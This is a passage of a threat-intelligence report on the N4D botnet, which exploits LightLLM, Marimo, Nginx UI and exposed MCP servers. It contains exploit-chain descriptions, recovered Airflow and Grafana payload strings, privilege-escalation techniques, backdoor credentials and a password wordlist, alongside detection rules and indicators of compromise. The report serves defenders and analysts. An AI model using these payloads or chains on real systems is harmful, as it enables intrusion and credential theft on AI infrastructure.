LightLLM is an open-source LLM inference and serving framework. CVE-2026-26220 (CVSS 9.3), publicly disclosed February 15, 2026 by Chocapikk and assigned by VulnCheck, describes an unauthenticated remote code execution vulnerability in LightLLM's PD (prefill-decode) disaggregation mode: the PD master node exposes two WebSocket endpoints — /pd_register and /kv_move_status — that receive binary frames and pass the data directly to pickle.loads() without authentication or validation. The agent's use of makeWSBinaryFrame / makeWSFrameType WebSocket primitives is consistent with this attack surface.

The vulnerability class was first reported publicly in LightLLM GitHub issue #784 (March 2025) as a ZMQ recv_pyobj() deserialization problem in multi-node mode; maintainers acknowledged it but did not patch it for eleven months. A comparable issue in vLLM received CVE-2025-32444 (CVSS 10.0) in April 2025. The N4D binary was compiled June 26, 2026 — four months after the February 15, 2026 public disclosure — but the actor's pre-disclosure awareness is plausible given the eleven-month window during which issue #784 was publicly open and unpatched. No official patch was released for LightLLM as of the CVE disclosure date.

4 — Marimo Notebook WebSocket Kernel Exploit (CVE-2026-39987)

Confidence: HIGH — CVE-2026-39987 confirmed, CVSS 9.3, CISA KEV; N4D was among the earliest exploiters.

Marimo is a reactive Python notebook introduced in 2023. CVE-2026-39987 (CVSS 9.3), disclosed April 8, 2026, describes a pre-authentication remote code execution vulnerability caused by a missing authentication check on the /terminal/ws WebSocket endpoint — an unauthenticated attacker gains a full PTY shell with no credentials required. The vulnerability was patched in Marimo v0.23.0 and added to the CISA Known Exploited Vulnerabilities (KEV) catalog on April 23, 2026. The binary encodes:

  • marimo_ws — dedicated WebSocket interaction identifier for Marimo's kernel protocol
  • marimo_rce — success result type for remote code execution
  • probeMarimo + deployMarimo — probe and exploit functions

Exploitation was observed in the wild within nine hours and forty-one minutes of the advisory's publication. Between April 11 and April 14, 2026, Sysdig tracked 662 exploit events from 11 unique IP addresses across 10 countries. A separate attacker group weaponized CVE-2026-39987 to deploy NKAbuse — a Go-based blockchain C2 backdoor — via a typosquatting HuggingFace Space. N4D's use of the same WebSocket vector (marimo_ws) is consistent with this pre-auth RCE surface, but deploys the N4D agent rather than NKAbuse. The N4D binary compiled June 26, 2026 represents continued mass exploitation two and a half months after the patch was available.

5 — Nginx UI Backup Decryption Chain (CVE-2026-27944 + CVE-2026-33032 "MCPwn")

Confidence: HIGH — two CVEs confirmed (both CVSS 9.8); N4D chains them into a single automated kill chain.

Nginx UI is a web-based Nginx management interface. The function chain implemented in n4d_debug exploits two distinct, separately-patched vulnerabilities in sequence:

Stage 1 — CVE-2026-27944 (CVSS 9.8, patched v2.3.3, March 5, 2026): Unauthenticated backup download and AES-256-CBC key disclosure. The backup endpoint returns the decryption key in the X-Backup-Security response header alongside the encrypted archive. Decrypting the archive yields app.ini, which contains node_secret — the shared secret used to authenticate Nginx UI's MCP interface.

Stage 2 — CVE-2026-33032 "MCPwn" (CVSS 9.8, patched v2.3.4, March 15, 2026): Nginx UI's MCP integration exposes two endpoints: /mcp and /mcp_message. While /mcp enforces AuthRequired() middleware, /mcp_message received only an IP allowlist check — and the default allowlist ships empty, treating it as "allow all." An attacker who has obtained node_secret from Stage 1 can pass it as a query parameter to obtain a session ID, then issue arbitrary commands through /mcp_message without further authentication. This vulnerability was named "MCPwn" by Pluto Security and was listed among Recorded Future's 31 most actively exploited vulnerabilities of March 2026, with approximately 2,689 exposed instances identified on Shodan at the time of disclosure.

The complete function sequence recovered from the N4D binary maps directly to this chain:

  1. probeNginxUI — detect exposed instance and check for backup endpoint availability
  2. decryptBackupAndExtractSecret — download backup archive; key from X-Backup-Security header (CVE-2026-27944 Stage 1)
  3. tryDecryptZipEntries / tryPlainZipEntries — AES-CBC decryption of backup zip entries
  4. aesCBCDecrypt — custom AES-CBC implementation for the decryption step
  5. extractNodeSecretFromIni — parse decrypted app.ini and extract node_secret and API tokens (CVE-2026-27944 Stage 2)
  6. deployNginxUI — authenticate to /mcp_message via node_secret and execute commands; result type nginx_ui_pty (CVE-2026-33032)

The nginx_ui_no_secret fallback result type confirms the agent handles cases where node_secret is absent in the backup and routes to an alternate exploitation path. The automated chaining of CVE-2026-27944 into CVE-2026-33032 — without requiring any interactive step — is specific to N4D and not described in any published advisory or proof-of-concept.

6 — Additional Novel Result Types Recovered

The following additional result type strings were extracted from .rodata that confirm exploitation capabilities beyond those documented in sections above:

Result Type TagTechnique
jenkins_cli_read_then_groovyTwo-stage Jenkins chain: read arbitrary file via Jenkins CLI, then execute Groovy payload via Script Console — no single published CVE covers this specific chain
pg_copy_to_programPostgreSQL COPY TO PROGRAM RCE — superuser privilege required; the agent's pgIsSuperuser check gates this path
mysql_outfile_cronMySQL SELECT INTO OUTFILE '/etc/cron.d/...' — writes cron entry directly, requires FILE privilege and specific secure_file_priv configuration
docker_sock_escapemain.tryDockerSockEscape — mounts host filesystem via /var/run/docker.sock and writes to /etc/cron.d/ for root persistence
internal_port_scanAutonomous internal subnet scan triggered post-compromise, independent of C2 task assignment
mcp_execute_query / mcp_execute_shellMCP tool-call based SQL and shell execution (see Section 3 above)
airflow_unauth_apiAirflow v1/v2 unauthenticated DAG trigger; DAG masquerades as sys_health_check in the result beacon
aks_mcp_failAKS + MCP combined attack failure sentinel — confirms the attack was attempted but the MCP branch did not achieve execution

Two payload strings recovered from the binary illustrate how deeply the actor has integrated masquerade names into every stage of the kill chain:

{"dag_id":"sys_health_check","is_paused":false,"file_token":"import_dag"}
{"url":"http://localhost/","filePath":"../../etc/chromium.d/sys_alias"}

The first is the Airflow DAG injection body — the malicious DAG is named sys_health_check, masquerading as a legitimate health monitoring workflow. The second is the Grafana Renderer path traversal payload — writing to chromium.d/sys_alias echoes the sys_alias.sh persistence filename used throughout the campaign.

15. MITRE ATT&CK Mapping

MITRE ATT&CK coverage matrix

Fig. 9 - MITRE ATT&CK coverage: 9 tactics, 24 techniques mapped from the N4D campaign artifacts.

TacticIDTechniqueEvidence
TA0043 Recon T1595 Active Scanning mcp_scan.py - mcp_v3.py; 500 concurrent probes; 14 target ports; 4 URL paths per host
TA0043 Recon T1046 Network Service Discovery Systematic /24 and /16 sweeps; 851,942+ probes per /16 block documented in scan logs
TA0001 Initial Access T1190 Exploit Public-Facing Application Unauthenticated MCP tools/call targeting execute_command; no CVE, design misuse
TA0002 Execution T1059.006 Command and Scripting Interpreter: Python mesh_agent.py / polymorphic Python loader exec'd on victim after delivery
TA0002 Execution T1203 Exploitation for Client Execution tools/call on exposed MCP server RCE tools delivers arbitrary OS commands
TA0003 Persistence T1098.004 Account Manipulation: SSH Authorized Keys Backdoor RSA public key (comment: "test") inserted into /root/.ssh/authorized_keys on multiple nodes
TA0003 Persistence T1543.003 Create or Modify System Process: Systemd Service beacon.sh delivers agent as a systemd service for persistence across reboots
TA0005 Defense Evasion T1027 Obfuscated Files or Information XOR-encoded string literals in polymorphic loader; 22 sensitive patterns obfuscated
TA0005 Defense Evasion T1027.002 Software Packing zlib/bz2 max-compression blob packed into loader stub; random algorithm per build
TA0005 Defense Evasion T1070.004 Indicator Removal: File Deletion os.unlink(sys.argv[0]) self-deletion on first run of the polymorphic loader stub
TA0005 Defense Evasion T1036.005 Match Legitimate Name or Location Process masquerades as kworker (kernel worker thread name); written to /dev/shm/ to avoid disk writes
TA0005 Defense Evasion T1205 Traffic Signaling Cloudflare tunnel relay hides actual C2 IP; CDN 302 redirect disguises server identity
TA0006 Cred Access T1552.005 Cloud Instance Metadata API Azure IMDS token exfiltration via 169.254.169.254; three auto-refresh cycles observed in intel
TA0006 Cred Access T1003.008 OS Credential Dumping: /etc/shadow Shadow file exfiltrated verbatim via POST /api/intel from multiple nodes
TA0006 Cred Access T1528 Steal Application Access Token AWS IAM keys, STS session tokens, Azure ARM JWTs harvested via MCP tool calls
TA0007 Discovery T1082 System Information Discovery Agent reports hostname, CPU architecture, load average, and capability flags on register
TA0007 Discovery T1613 Container and Resource Discovery Docker socket detection; docker boolean reported in intel schema; Docker port :2375 in v4.0 scan list
TA0008 Lateral Movement T1021.004 Remote Services: SSH SSH persistence via authorized_keys backdoor entry (comment: "test") found on multiple nodes
TA0008 Lateral Movement T1210 Exploitation of Remote Services Chain engine executes sequential exploit steps across adjacent network targets
TA0011 C&C T1571 Non-Standard Port Controller on :8443; P2P mesh on :9999; both non-standard for their protocols
TA0011 C&C T1573 Encrypted Channel HMAC-authenticated API in v4.0; Cloudflare HTTPS tunnel for agent traffic
TA0011 C&C T1090.003 Proxy: Multi-hop Proxy Cloudflare tunnel registered per node via POST /api/endpoint; C2 IP hidden from defenders
TA0010 Exfiltration T1041 Exfiltration Over C2 Channel POST /api/intel sends credentials over the same authenticated C2 channel as task polling
TA0040 Impact T1496 Resource Hijacking Compromised hosts enrolled into scanner fleet and assigned new CIDR ranges to scan
TA0003 Persistence T1546.004 Event Triggered Execution: Unix Shell Configuration Modification /etc/profile.d/sys_alias.sh written by Nginx UI and Grafana Renderer exploit chains; executes on every interactive login for any user on the system — survives agent restarts
TA0004 Privilege Escalation T1611 Escape to Host deployDockerSocket mounts the host filesystem and writes a root cron entry from within a container — escaping container isolation entirely; confirmed exploit module in binary
TA0011 C&C T1090.002 Proxy: External Proxy main.startMeshTunnel establishes Cloudflare Quick Tunnels (*.trycloudflare.com) — outbound anonymous relay, no infrastructure registration, TLS termination at Cloudflare edge; C2 traffic blends with legitimate Cloudflare HTTPS

16. Detection & Defensive Guidance

For MCP Server Operators

  • Never expose MCP servers on public IPs without authentication. Bind to 127.0.0.1 or place behind an authenticated reverse proxy.
  • If cloud-deployed: restrict to VPC private networks and use TLS mutual auth or an API gateway with token validation.
  • Audit tool names in your server configuration. Any tool providing shell execution, file system access, or database query capability is effectively unauthenticated RCE if the server is reachable without auth.
  • Check MCP server logs for initialize + tools/list sequences from "clientInfo": {"name": "n4d-vps"} - that string is the campaign's reliable network IOC.
  • If your server has ever been publicly accessible: rotate all credentials present in environment variables, ~/.aws/credentials, /root/.ssh/, and any cloud metadata token scope. Explicitly rotate OPENAI_API_KEY and ANTHROPIC_API_KEY - these are first-class harvest targets in the pathing engine.

For Compromised Host Responders

  • Check /etc/cron.d/.sys-health and /etc/cron.d/.syscheck — the agent installs both. Remove both before killing the agent process, or it relaunches within 120 seconds.
  • Audit /root/.bashrc for appended command lines - the dropper adds a persistence entry that fires on every root login.
  • Check /etc/profile.d/sys_alias.sh — written by the Nginx UI and Grafana exploit chains as a login-triggered payload. Present even when cron is cleaned.
  • Check /etc/ld.so.preload and user-specific library preload paths for libssh2.so.1.0.1.patched or any unexpected shared library — this custom-compiled SSH development build may function as a backdoor for credential interception via LD_PRELOAD; not confirmed by static analysis alone.
  • Search /dev/shm/ for files matching kworker*, .agent.lock, and .agent.pid — the agent binary runs from tmpfs; .agent.lock presence confirms an active instance.
  • Check /tmp/ for .n4d* files — temporary exploit scratch files (.n4d_mysql.sh, .n4d_pg.sh, .n4d_redis.sh, .n4d_script.py, .n4d_cred_debug). The last file may contain harvested credentials if the agent crashed mid-exfil.
  • Inspect active network connections for WebSocket upgrades to /api/pty or TLS connections to *.trycloudflare.com — either indicates an active interactive operator session in progress.
  • Block outbound connections to cdnorigin.net and *.trycloudflare.com at the network perimeter to cut off both C2 channels simultaneously.

Network Detection Signatures — Sigma

title: N4D Botnet — Direct Connection to Confirmed C2 Server (209.99.186.73)
id: 7f3a2b91-4d58-4e4c-b82f-1a6c9d5e3f07
status: stable
description: Outbound connection to 209.99.186.73 — confirmed N4D Mesh Controller C2 server. Open directory exposed at :9090, C2 API at :8443, beacon distribution at :80/:443 (TLS SNI cdnorigin.net).
author: 1ZRR4H
date: 2026-07-02
logsource:
  category: network
  product: firewall
detection:
  selection:
    dst_ip: '209.99.186.73'
  condition: selection
falsepositives:
  - None expected
level: critical
tags:
  - attack.command-and-control
  - attack.t1071.001
title: N4D Botnet — cdnorigin.net C2 Domain DNS Query
id: a4b5c6d7-e8f9-4012-abcd-456789012345
status: stable
description: DNS query for cdnorigin.net — fake CDN domain used by beacon.sh as primary agent download URL. Self-signed RSA-2048 cert issued 2026-06-26, absent from CT logs. Any resolution of this domain means the dropper is executing on that host.
author: 1ZRR4H
date: 2026-06-27
modified: 2026-07-02
logsource:
  category: dns
detection:
  selection:
    QueryName|endswith: 'cdnorigin.net'
  condition: selection
falsepositives:
  - None — domain has no legitimate registrant; no CT log entries at time of discovery
level: critical
tags:
  - attack.command-and-control
  - attack.t1071.001
  - attack.t1584.001
title: N4D Go Agent — kworker Process Name Masquerade
id: b5c6d7e8-f9a0-4234-bcde-567890123456
status: stable
description: Process matching kworker name pattern launched outside PID 2. N4D agent calls setProcName() after execution from /dev/shm/ to masquerade as a kernel worker thread. Legitimate kworker threads are exclusively children of kthreadd (PID 2) and have no userland executable path.
author: 1ZRR4H
date: 2026-06-29
modified: 2026-07-02
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    Image|contains: 'kworker'
  filter_kernel:
    ParentProcessId: 2
  condition: selection and not filter_kernel
falsepositives:
  - None — legitimate kworker processes have ParentProcessId 2 (kthreadd) only
level: high
tags:
  - attack.defense-evasion
  - attack.t1036.005
title: N4D Agent — Hidden Dot-File Created in /etc/cron.d/
id: c6d7e8f9-a0b1-4345-cdef-678901234567
status: stable
description: File creation with a dot-prefixed name inside /etc/cron.d/. beacon.sh writes /etc/cron.d/.sys-health (2-minute root interval re-launching /dev/shm/kworker*); the Go binary also creates /etc/cron.d/.syscheck. No standard Linux package writes hidden dot-files to this directory.
author: 1ZRR4H
date: 2026-06-28
modified: 2026-07-02
logsource:
  product: linux
  category: file_event
detection:
  selection:
    TargetFilename|startswith: '/etc/cron.d/.'
  condition: selection
falsepositives:
  - None — standard software packages do not write dot-files to /etc/cron.d/
level: high
tags:
  - attack.persistence
  - attack.t1053.003
title: N4D Botnet — Cloudflare Quick Tunnel C2 Relay from Non-Workstation Asset
id: e8f9a0b1-c2d3-4567-ef01-890123456789
status: stable
description: Outbound TLS :443 to *.trycloudflare.com from a server-class asset. N4D agents call main.startMeshTunnel() to establish an anonymous Cloudflare Quick Tunnel C2 relay — no domain registration required, cert signed by Cloudflare CA. Filter excludes workstations where developer tunnel use is common.
author: 1ZRR4H
date: 2026-06-28
modified: 2026-07-02
logsource:
  category: network
  product: firewall
detection:
  selection:
    dst_hostname|endswith: '.trycloudflare.com'
    dst_port: 443
  filter_workstation:
    src_category: 'workstation'
  condition: selection and not filter_workstation
falsepositives:
  - Developer workstations running cloudflared for local tunnel testing
level: high
tags:
  - attack.command-and-control
  - attack.t1090.004
  - attack.t1572

YARA Rules

rule N4D_Go_Agent_Binary {
    meta:
        description = "N4D Mesh Controller Go agent — ELF multi-arch botnet with AI exploit arsenal"
        author      = "1ZRR4H"
        date        = "2026-06-29"
        modified    = "2026-07-02"
        hash_debug  = "3435cc9d4a255bfb4cfb09f2390c29b888f70a43345cfaaecf46c55bc89b814d"
    strings:
        $cred_nacos  = "n4d_admin:n4d_admin123" ascii
        $fn_lightllm = "deployLightLLM" ascii
        $fn_ray      = "deployRayDashboard" ascii
        $mesh_auth   = "X-Mesh-Auth" ascii
        $devshm_lock = "/dev/shm/.agent.lock" ascii
        $api_pty     = "/api/pty" ascii
        $cftunnel    = ".trycloudflare.com" ascii
    condition:
        uint32(0) == 0x464C457F and
        (
            ($cred_nacos and $devshm_lock) or
            ($fn_lightllm and $fn_ray) or
            ($mesh_auth and $api_pty and $cftunnel)
        )
}

rule N4D_MCP_Scanner {
    meta:
        description = "N4D MCP scanner family — all 4 generations (mcp_scan.py, mcp_direct.py, mcp_scan_v2.py, mcp_v3.py)"
        author      = "1ZRR4H"
        date        = "2026-06-27"
        modified    = "2026-07-02"
    strings:
        $client_id  = "n4d-vps" ascii
        $tools_list = "tools/list" ascii
        $danger_key = "execute_command" ascii
        $proto_ver  = "2024-11-05" ascii
    condition:
        $client_id and 1 of ($tools_list, $danger_key, $proto_ver)
}

rule N4D_Beacon_Script {
    meta:
        description = "N4D dropper beacon.sh — 8-method download chain with cron, bashrc, and systemd persistence"
        author      = "1ZRR4H"
        date        = "2026-06-28"
        modified    = "2026-07-02"
    strings:
        $cdn_front  = "cdnorigin.net" ascii
        $c2_ip      = "209.99.186.73" ascii
        $api_binary = "/api/agent/binary" ascii
        $cron_file  = ".sys-health" ascii
    condition:
        ($cdn_front or $c2_ip) and ($api_binary or $cron_file)
}

rule N4D_QQ_Watcher {
    meta:
        description = "N4D qq_watcher.sh — targets QQ bot MCP servers via execute_shell_command tool"
        author      = "1ZRR4H"
        date        = "2026-06-28"
        modified    = "2026-07-02"
    strings:
        $shell_tool = "execute_shell_command" ascii
        $tmp_agent  = "/tmp/.agent" ascii
        $cdn_front  = "cdnorigin.net" ascii
    condition:
        $shell_tool and ($cdn_front or $tmp_agent)
}

Affected ASN Categories

ASNProviderRole in Campaign
AS24940Hetzner OnlineInternational agent fleet CIDR pool; primary target for European AI deployments
AS14061DigitalOceanInternational agent fleet CIDR pool
AS63949Linode / AkamaiInternational agent fleet CIDR pool
AS16276OVHInternational agent fleet CIDR pool
AS20473VultrInternational agent fleet CIDR pool
AS51167ContaboInternational agent fleet CIDR pool
AS45102Alibaba CloudPrimary scan target (CN geo); also agent fleet
AS132203Tencent CloudPrimary scan target (CN geo); also agent fleet

Indicators of Compromise (IOCs)

TypeIndicatorContext
SHA256 3435cc9d4a255bfb4cfb09f2390c29b888f70a43345cfaaecf46c55bc89b814d n4d_debug — Go agent debug build (7.3 MB, ELF64 amd64, Jun 26 2026); complete exploit arsenal with 170+ named functions
IP 209.99.186.73 Confirmed C2 server — open directory at :9090, C2 API at :8443, beacon TLS at :443 (SNI: cdnorigin.net), P2P mesh at :9999
PORT :8443 (C2), :9999 (P2P) Controller API and inter-agent mesh listener
HEADER X-Mesh-Auth: {node_id}:{hmac_sha256} Present on all authenticated agent API calls in v4.0
HEADER X-Operator-Key Present on operator-authenticated GET calls to /api/intel, /api/chains, /api/stats
PATH /api/register, /api/task/{nid}, /api/result/{nid}, /api/intel, /api/beacon, /api/chains Controller API path family - any of these on port 8443 is C2 traffic
UA python-httpx/* Scanner User-Agent (httpx async client)
UA Go-http-client/1.1 Agent User-Agent (Go HTTP client in n4d_agent binary)
JSON "clientInfo": {"name": "n4d-vps", "version": "1.0"} MCP initialize payload - present in every scanner probe
PROCESS kworker/u*:* Agent process name masquerade matching kernel worker thread format
FILE /dev/shm/kworker* Agent written to tmpfs to avoid disk writes visible in filesystem forensics
SSH authorized_keys backdoor key comments observed: auto-backdoor (21×), test (6×), u0_a599@localhost (3×), admin@mm (2×), hype (2×), jan@mac, root@proxmox, good@gooddeMacBook-Pro.local, evincent@ev-mac.lan Attacker-inserted RSA backdoor keys across 21 compromised hosts; "auto-backdoor" is campaign-generated; personal machine hostnames (evincent@ev-mac.lan, jan@mac, good@gooddeMacBook-Pro.local) are low-confidence attribution leads
URL GET /api/beacon?arch=&h=&p= Phone-home URL pattern - server-side detection of active compromise in progress
DOMAIN cdnorigin.net C2 CDN front domain; TLS SNI on port 443; appears in beacon.sh download URLs and mesh_minimal.py
PORT :80, :443 Additional C2 entry ports; :80 via http_proxy.py, :443 via tls_proxy.py with cdnorigin.net cert
FILE /etc/cron.d/.sys-health 2-minute root cron entry installed by beacon.sh for persistent agent re-launch
FILE /tmp/.agent Staging path used by qq_watcher.sh dropper when delivering agent to MCP bot victims
FILE libssh2.so.1.0.1.patched Custom-compiled SSH library (dev branch, GCC 13.3/Ubuntu 24.04) — possible LD_PRELOAD backdoor for credential interception; no backdoor confirmed by static analysis, but binary does not match any released libssh2 version
PATH /api/agent/binary?arch= Agent binary download endpoint - requested by beacon.sh, mesh_minimal.py, and qq_watcher.sh on victim machines
PATH /api/pty WebSocket interactive PTY endpoint — operators open live shells on compromised hosts through the C2 web panel; also used by Nginx UI exploit chain on victim side
DOMAIN *.trycloudflare.com Cloudflare Quick Tunnel relay; agents call main.startMeshTunnel to establish anonymous outbound C2 channel — TLS signed by Cloudflare CA, no domain registration required
FILE /etc/profile.d/sys_alias.sh Login-trigger payload written by Nginx UI and Grafana Renderer exploit modules; executes on every interactive login by any user
FILE /etc/cron.d/.syscheck Secondary cron persistence entry (complement to .sys-health); found as hardcoded path in Go binary
FILE /dev/shm/.agent.lock, /dev/shm/.agent.pid Singleton lock and PID file in tmpfs; presence indicates an active agent instance; absence after reboot indicates agent survived only in cron/systemd
FILE /tmp/.n4d, /tmp/.n4d_curl, /tmp/.n4d_mysql.sh, /tmp/.n4d_pg.sh, /tmp/.n4d_redis.sh, /tmp/.n4d_script.py, /tmp/.n4d_cred_debug Scratch files written during exploit execution; .n4d_cred_debug may contain harvested credentials in plaintext if the agent crashed mid-exfil
CRED n4d_admin:n4d_admin123 Backdoor Nacos account credential confirmed by binary analysis (main.deployNacos); submitted via form-urlencoded POST /nacos/v1/auth/login — operators plant this account on first compromise then re-authenticate on return visits
CRED n4d:n4dmesh2024 N4D controller PostgreSQL database user and password hardcoded in controller_v4.py; presence of these credentials on a host confirms the C2 controller itself is deployed there, not just a victim agent
CRED postgres2024, postgres2025, Postgres@123, postgrespass Hardcoded PostgreSQL brute-force wordlist embedded in binary; any PostgreSQL instance logging failed auth attempts should alert on these values